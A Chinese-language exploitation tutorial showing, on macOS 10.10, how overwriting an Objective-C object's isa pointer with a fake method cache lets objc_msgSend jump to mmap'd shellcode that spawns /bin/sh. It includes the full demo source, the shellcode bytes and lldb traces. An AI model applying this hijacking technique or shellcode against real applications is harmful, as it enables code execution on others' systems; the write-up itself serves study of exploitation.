Max OS X x64 环境下覆盖objective-c类结构并通过objc_msgSend获得RIP执行shellcode

author vvun91e0n

0x00 前言

阅读学习国外nemo大牛《Modern Objective-C Exploitation Techniques》文章的内容，就想在最新的OS X版本上调试出作者给出的代码。控制rip。我根据自己的调试，修改了原程序，才调试成功。对大牛原程序的部分代码的意图和计算方法难免理解不足，欢迎留言与我交流学习。本文主要简要介绍下对objective-c类的覆盖到控制rip的技术。是目前OS X平台下，比较主流的一种溢出利用方式。

0x01 64位汇编知识及lldb简单调试命令

汇编知识主要是在调试的时候使用，在64位平台下调试必不可少的知识。对此熟悉的读者可直接跳过。下面简要介绍下64位汇编。

RIP的就是64位的指令寄存器。

通用64位寄存器

RAX RBX RCX RDX RBP RSI RDI RSP 

R8 －－－ R15

可以使用

• EAX 访问RAX的低32bits
• AX 访问RAX的低16bits
• AL 访问RAX的低8bist
• AH 访问RAX低16bits的高8bits

OS X 64位的汇编调用约定，可以参考AMD64 Application Binary Interface

x86-64 Function Calling convention:

1. If the class is MEMORY, pass the argument on the stack.

2. If the class is INTEGER, the next available register of the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9 is used.

可以看到和32位汇编的通过push压栈来传递参数不同，函数的参数传递基本是通过寄存器来完成的。顺序如上。 32位汇编通过int 0x80来进行系统调用，64位汇编是通过syscall来调用的。

lldb是苹果公司推出的用以替代gdb的调试器。随xcode一起安装。是进行动态调试的利器。调试时必不可少。下面简要介绍下会用到的一些基础命令：

在命令行输入lldb，就会进入调试工具

(lldb) 

help会显示所有的命令，需要详细了解可以用输入help ＋ 命令查询

file命令加载需要调试的程序

(lldb) file /Users/vvun91e0n/Desktop/OC64exploit Current executable set to '/Users/vvun91e0n/Desktop/OC64exploit' (x86_64). 

breakpoint set用来设置断点

(lldb) breakpoint set --name length 

breakpoint list可以用来查看所有断点 breakpoint disable 关闭断点 breakpoint enable 激活断点 ni 单步步不执行指令

run或r启动进程进行调试

register read 读取现在所有寄存器的值 想读取特定的几个寄存器，写在后面就行，使用简化命令如

(lldb) re r rdi r10 rsi  rdi = 0x0000000100202fa0  r10 = 0x0000000000000001  rsi = 0x00007fff907bb509 

memory read 可以读取指定地址的内存数据，如下指定地址就是length字符串。也可以使用gdb风格的x 0x00007fff907bb509命令来读取内存数据。

(lldb) memory read 0x00007fff907bb509 0x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74  length.isTypeNot 0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e  Exclusive:.appen (lldb) x 0x00007fff907bb509 0x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74  length.isTypeNot 0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e  Exclusive:.appen 

continue 或者c 命令来继续执行。 kill来结束进程。run来重新启动。 其他如条件断点，修改寄存器值等命令读者可以使用help命令了解。

0x02 objective-c方法调用

你需要对objective-c语言有一定的基本的了解。特别是objc_msgSend函数的调用机制。可以参考：《The Objective-C Runtime: Understanding and Abusing》。这篇文章是nemo2009年发表在phrack上的。在32位系统基础上讲Objective-C Runtime溢出的文章。还是有阅读价值的。特别是对后面64位溢出的理解。

下面简要介绍下objective-c，先看看一个简单的类实现和调用：

#!c //  Talker.h #import <Foundation/Foundation.h> @interface Talker : NSObject  //定义一个类 - (void) say: (char *) str;   //声明一个say方法 @end //  Talker.m #import "Talker.h" @implementation Talker     //类的相关方法实现 - (void) say: (char *) phrase {  printf("%s/n",phrase); } @end //main.m #import "Talker.h" int main(int argc, const char * argv[]) {  @autoreleasepool {   // insert code here...   Talker *talker = [[Talker alloc] init];//分配内存，初始化   [talker say: "Hello, World!"];    //调用say方法  }  return 0; }  

如上面代码所示，定义了一个Talker类，并在main函数中调用了say方法。 可以看出objective-c语言的方法调用语法为

[/

主程序进行了3次函数调用

class  | method  -------|-----------          Talker | alloc talker | init  talker | say 

将上面的代码在xcode中编译生成后的程序放入Hopper静态反汇编后，会得到一下汇编代码（注：这个事release版的结果，debug版的反汇编结果稍有不同）

#!bash mov     rdi, qword [ds:objc_cls_ref_Talker]     ; objc_cls_ref_Talker, argument "instance" for method _objc_msgSend mov     rsi, qword [ds:0x1000010f8]             ; @selector(alloc), argument "selector" for method _objc_msgSend mov     r15, qword [ds:imp___got__objc_msgSend] ; imp___got__objc_msgSend call    r15                                     ; _objc_msgSend mov     rsi, qword [ds:0x100001100]             ; @selector(init), argument "selector" for method _objc_msgSend mov     rdi, rax                                ; argument "instance" for method _objc_msgSend call    r15                                     ; _objc_msgSend mov     rbx, rax mov     rsi, qword [ds:0x100001108]             ; @selector(say:), argument "selector" for method _objc_msgSend lea     rdx, qword [ds:0x100000f70]             ; "Hello, World!" mov     rdi, rbx                                ; argument "instance" for method _objc_msgSend call    r15                                     ; _objc_msgSend 

可以看出在进行方法调用时并不是直接call方法地址，而是将方法的selector作为第二个参数传入rsi寄存器。与之前介绍的64位汇编调用约定一样。第一参数对象指针isa压入rdi。然后call r15调用objc_msgSend函数。这个函数就是需要研究利用的对象。相对于c语言在编译时就决定运行时所调用的函数的静态绑定。objectie-c语言利用了消息传递objc_msgSend函数在运行时，动态绑定调用函数。objective-c利用这个消息机制实现了runtime的方法调用。提高了语言的灵活性。使得objective-c成为了一门动态语言。

0x03 objective-c的类结构和objc_msgSend函数

在64位系统中，runtime进行了重新编写，类的实现由原来的c语言struct结构，变成了c++类。

struct objc_class : objc_object { // Class ISA; Class superclass; cache_t cache;      // formerly cache pointer and vtable class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags …  } 

类的第一个变量指向父类，在查询不到需要调用的方法时，会向父类继续进行查询。 第二个变量指向cache，这个cache缓存了最近调用方法的selector和imp（方法入口地址），之所以使用cache就是为了提高objective-c语言的动态绑定特性的效率。加快查询速度。

struct cache_t { struct bucket_t *_buckets; mask_t _mask; mask_t _occupied; …  }  struct bucket_t { private: cache_key_t _key; IMP _imp;  ... } 

cache的结构如上，cache里面的buckets指向一个bucket类，类里面的_key就是selector，指向选择子的字符串。_imp指向方法地址。

其中需要说明的是_mask。这个mask用来和输入的sel进行按位与，对结果进行处理，作为buckets数组的序号。加快选择速度，确定范围。在我们的实验代码里，根据调试发现mask实际上起到一个确定遍历范围的作用。

我的程序在mask的选择上，是根据我自己的调试结果设置的。nemo的源码的mask设置在我机器上运行后会取到非法内存。不知道是不是版本改变了更新了还是什么其他的原因导致的。我调试的时候lldb反汇编了objc_msgSend函数，对照该函数的源代码进行了调试。对nemo的代码进行了修改。读者可以同时看看nemo的源代码。还有几处我都做出了修改。

查询Objective-C Runtime Reference，可以得到该函数声明如下

#!bash id objc_msgSend ( id self, SEL op, ... ); Parameters： self    A pointer that points to the instance of the class that is to receive the message. op      The selector of the method that handles the message. ...     A variable argument list containing the arguments to the method. 

该函数的源代码是开源的，由汇编语言实现，以提高objective-c的执行效率。

大家看到第一个self参数实际就是指向实例的指针。第二个op参数就是sel，就是选择子。指向方法名字符串。

关于objc_msgSend的汇编源代码可以到苹果公司网站查看。以下是目前最新版本的链接地址 http://www.opensource.apple.com/source/objc4/objc4-646/runtime／Messengers.subproj/objc-msg-x86_64.s

下面给出源代码

#!c++ /********************************************************************  *  * id objc_msgSend(id self, SEL _cmd,...);  *  ********************************************************************/  .data  .align 3  .globl _objc_debug_taggedpointer_classes _objc_debug_taggedpointer_classes:  .fill 16, 8, 0  ENTRY   _objc_msgSend  MESSENGER_START  NilTest NORMAL  GetIsaFast NORMAL    // r11 = self->isa  CacheLookup NORMAL   // calls IMP on success  NilTestSupport  NORMAL  GetIsaSupport   NORMAL // cache miss: go search the method lists LCacheMiss:  // isa still in r11  MethodTableLookup %a1, %a2  // r11 = IMP  cmp %r11, %r11   // set eq (nonstret) for forwarding  jmp *%r11     // goto *imp  END_ENTRY   _objc_msgSend  ENTRY _objc_msgSend_fixup  int3  END_ENTRY _objc_msgSend_fixup  STATIC_ENTRY _objc_msgSend_fixedup  // Load _cmd from the message_ref  movq 8(%a2), %a2  jmp _objc_msgSend  END_ENTRY _objc_msgSend_fixedup  

可以看到该函数先获取isa指针，然后调用Cachelookup，在Cache中寻找sel，如果找不到就调用MethodTableLookup，在MethodTable中继续查找sel。这样只要我们能够覆盖类的内存，构造虚假的cache，提供正确的sel，就能够最终控制rip。对类结构进行溢出覆盖控制也是现在比较流行的OS X下溢出利用技术。

下面再来看看CacheLookup的源代码：

#!bash .macro  CacheLookup .if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET  movq %a2, %r10    // r10 = _cmd .else  movq %a3, %r10    // r10 = _cmd .endif  andl 24(%r11), %r10d  // r10 = _cmd & class->cache.mask  shlq $$4, %r10    // r10 = offset = (_cmd & mask)<<4  addq 16(%r11), %r10   // r10 = class->cache.buckets + offset .if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET  cmpq (%r10), %a2  // if (bucket->sel != _cmd) .else  cmpq (%r10), %a3  // if (bucket->sel != _cmd) .endif  jne  1f    //  scan more  // CacheHit must always be preceded by a not-taken `jne` instruction  CacheHit $0   // call or return imp 1:  // loop  cmpq $$0, (%r10)  je  LCacheMiss_f  // if (bucket->sel == 0) cache miss  cmpq 16(%r11), %r10  je  3f    // if (bucket == cache->buckets) wrap  subq $$16, %r10   // bucket-- 2:   .if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET  cmpq (%r10), %a2  // if (bucket->sel != _cmd) .else  cmpq (%r10), %a3  // if (bucket->sel != _cmd) .endif  jne  1b    //  scan more  // CacheHit must always be preceded by a not-taken `jne` instruction  CacheHit $0   // call or return imp </code></pre> 其中的CacheHit就是在sel匹配成功后跳转到imp，从中可以看出mask的具体使用方法。  andl 24(%r11), %r10d  // r10 = _cmd & class->cache.mask  shlq $$4, %r10    // r10 = offset = (_cmd & mask)<<4  addq 16(%r11), %r10   // r10 = class->cache.buckets + offset  

sel和mask进行了andl操作，命令andl操作数是32位。而且后面的操作数时％r10d，表示的是r10的低32位。r10的高32位应该不变。但是读者在调试的时候可能会发现证明r10的高32位也置零了。

关于这里大家就需要查查Intel的手册。有这样一句：

• 32-bit operands generate a 32-bit result, zero-extended to a 64-bit result in the destination general-purpose register.

由此可见，andl命令会将结果扩展到64位。

之后，将与后的结果左移4位得到offset。将offset加到buckets的上。

初始时offset就指向来整个数组的最后。通过subq命令递减。

subq    $$16, %r10      // bucket-- 

从后向前来遍历buckets数组。如果命中了sel就可以跳到imp了。16就是我们bucket_t结构的大小。 说了这么多。接下来就来看看代码。

0x04 具体代码及细节说明

完整代码如下：

#!c /* *   main.m *   OC64exploit Demo * *   Author: vvun91e0n *   Date:   2015-05-25 *   Tested on: Mac OS X 10.10.3 （Darwin kernel version 14.3.0）& 10.10.4 *   Base on: nemo's source code @ www.phrack.com/papers/modern_objc_exploitation.html *   Shellcode on: Dustin Schultz‘source code @ www.exploit－db.com/exploits/15618 */ #import <Foundation/Foundation.h> #define NUMBUCKETS 0x20000 #define MASK  0x20000 #define BASESEL 0x7fff80000509  //0x7fff907bb509 my "length" sel address            //may change in different os or different app struct fakecache {  char pad[0x10];  long bucketptr;  long mask; }; struct cacheentry {  long sel;  long rip; }; char shellcode[] = "/x41/xb0/x02/x49/xc1/xe0/x18/x49/x83/xc8/x17/x31/xff/x4c/x89/xc0" "/x0f/x05/xeb/x12/x5f/x49/x83/xc0/x24/x4c/x89/xc0/x48/x31/xd2/x52" "/x57/x48/x89/xe6/x0f/x05/xe8/xe9/xff/xff/xff/x2f/x62/x69/x6e/x2f" "/x2f/x73/x68"; int main(int argc, const char * argv[]) {  struct fakecache fc;  char num[50];  unsigned int slide;  void *pshellcode = mmap(0, 0x33, PROT_EXEC | PROT_WRITE          | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);  if (pshellcode == MAP_FAILED) {   printf("[+] shellcode mmap failed/n");   exit(1);  }  memcpy(pshellcode, shellcode, sizeof(shellcode));  printf("[+] Setting up shellcode/n");  struct cacheentry *buckets = malloc((NUMBUCKETS+1) * sizeof(struct cacheentry));  if(!buckets) {   printf("[!] allocation failed./n");   exit(1);  }  for(slide = 0; slide <= NUMBUCKETS ; slide++) {   buckets[slide].sel = BASESEL + (slide * 0x1000);   buckets[slide].rip = (long)pshellcode;  }  printf("[+] Setting up buckets/n");  NSString *l = [[NSString alloc] initWithUTF8String:"hello world"];  memset(&fc,'/xcc',sizeof(fc));  fc.mask = MASK; // mask  fc.bucketptr = (unsigned long)buckets;  printf("[+] Setting up fc/n");  printf("[+] fc @ 0x%lx/n",(unsigned long)&fc);  printf("[+] Class @ 0x%lx/n",(unsigned long)l);  printf("[+] Buckets @ 0x%lx/n",(unsigned long)buckets);  printf("[+] String length: 0x%x/n",(unsigned int)[l length]);  sprintf(num,"%li",(long)l);  long *ptr = (long *)atol(num);  *ptr = (long)&fc; // isa ptr  printf("[+] Overwriting object/n");  printf("[+] Calling method/n");  printf("String length: 0x%x/n",(unsigned int)[l length]);  return 0; }  

具体步骤说明：

• 先申请一块可以执行的内存来存放shellcode。该shellcode功能是起一个sh。
• 在申请一块内存在构建bucket块。NUMBUCKETS的大小设置可以修改，合适就好。
• 开始构建虚假的bucket块。一共构建了NUMBUCKETS+1个。

每个bucket的rip(即imp)都指向shellcode的地址。

bucket的sel就是对应的length方法的选择子地址，也就是字符串的地址。这个就涉及到了OS X系统共享区域(Shared Region)的动态库dylib加载空间问题了。在64bit OS X系统里面共享区域开始于地址0x7FFF80000000。动态库加载地址会随机加上一个偏移。但是偏移都是以内存页为单位的，一个页的大小是0x1000。

通过在一个正常程序NSString类的length方法上下了断点，执行程序断在此处查看调用时的第二个参数rsi寄存器的值，我们就能得到这个length的地址

#!bash Process 5001 stopped * thread #1: tid = 0x54aeb, 0x00007fff927cf1d0 CoreFoundation`-[__NSCFString length], queue = 'com.apple.main-thread', stop reason = breakpoint 1.32  frame #0: 0x00007fff927cf1d0 CoreFoundation`-[__NSCFString length] CoreFoundation`-[__NSCFString length]: ->  0x7fff927cf1d0 <+0>: pushq  %rbp  0x7fff927cf1d1 <+1>: movq   %rsp, %rbp  0x7fff927cf1d4 <+4>: popq   %rbp  0x7fff927cf1d5 <+5>: jmp 0x7fff927cdcd0   ; _CFStringGetLength2 (lldb) re r rsi   rsi = 0x00007fff907bb509 (lldb) x 0x00007fff907bb509 0x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74  length.isTypeNot 0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e  Exclusive:.appen  

由于加载以页为单位所以 后面的12bit 509是不会改变的。我们构建虚假bucket时就以0x1000为单位进行不断尝试每个地址。如果NUMBUCKETS的大小还不够，还可以增加。如果执行正确总会碰撞到正确的sel。从而转到imp。

• 构建虚假的objc_object结构，即代码中的fakecache，前面的superclass变量可随意填充。fc.mask和fc.bucketptr设置成对应值。
• 新建一个NSString类实例指针l。将l指针的地址改为fc的地址。
• 对l调用方法length。这样会调用objc_msgSend函数。

如果一些正常执行回执行shellcode，启动一个sh

#!bash MacBook:~ vvun91e0n$ /Users/vvun91e0n/Desktop/OC64exploit [+] Setting up shellcode [+] Setting up buckets [+] Setting up fc [+] fc @ 0x7fff57daba70 [+] Class @ 0x7f8733c0d410 [+] Buckets @ 0x107ecd000 [+] String length: 0xb [+] Overwriting object [+] Calling method sh-3.2$  

在调试的时候可以利用添加条件断点断在最后一个溢出时调用的objc_msgSend处，利用单步执行ni命令。一条一条执行进行调试。利用disasseble命令查看objc_msgSend函数的反汇编代码。

0x05 总结

通过这个代码调试过程验证里对objective-c类结构进行溢出的可行性。可以成功获得rip。

在实际应用中可能不像例子中，直接修改类的地址。而是通过溢出覆盖一个类结构的数据。来获得rip。

但是在实际的应用中获得rip还是远远不够的。还要对抗NX和ASLR等技术。现在比较通用的方法还是利用ROP chain等技术来成功利用溢出。

谢谢阅读

参考：

1. Modern Objective-C Exploitation Techniques http://www.phrack.org/papers/modern_objc_exploitation.html

2. The Objective-C Runtime: Understanding and Abusing http://www.phrack.org/issues/66/4.html#article

3. AMD64 Application Binary Interface http://x86-64.org/documentation/abi.pdf

4. Objective-C消息机制的原理 http://dangpu.sinaapp.com/?p=119

5. 详解objc_msgSend http://www.cnblogs.com/tekkaman/archive/2013/05/23/3094549.html

6. 理解objc_msgSend的作用 http://book.51cto.com/art/201403/432144.htm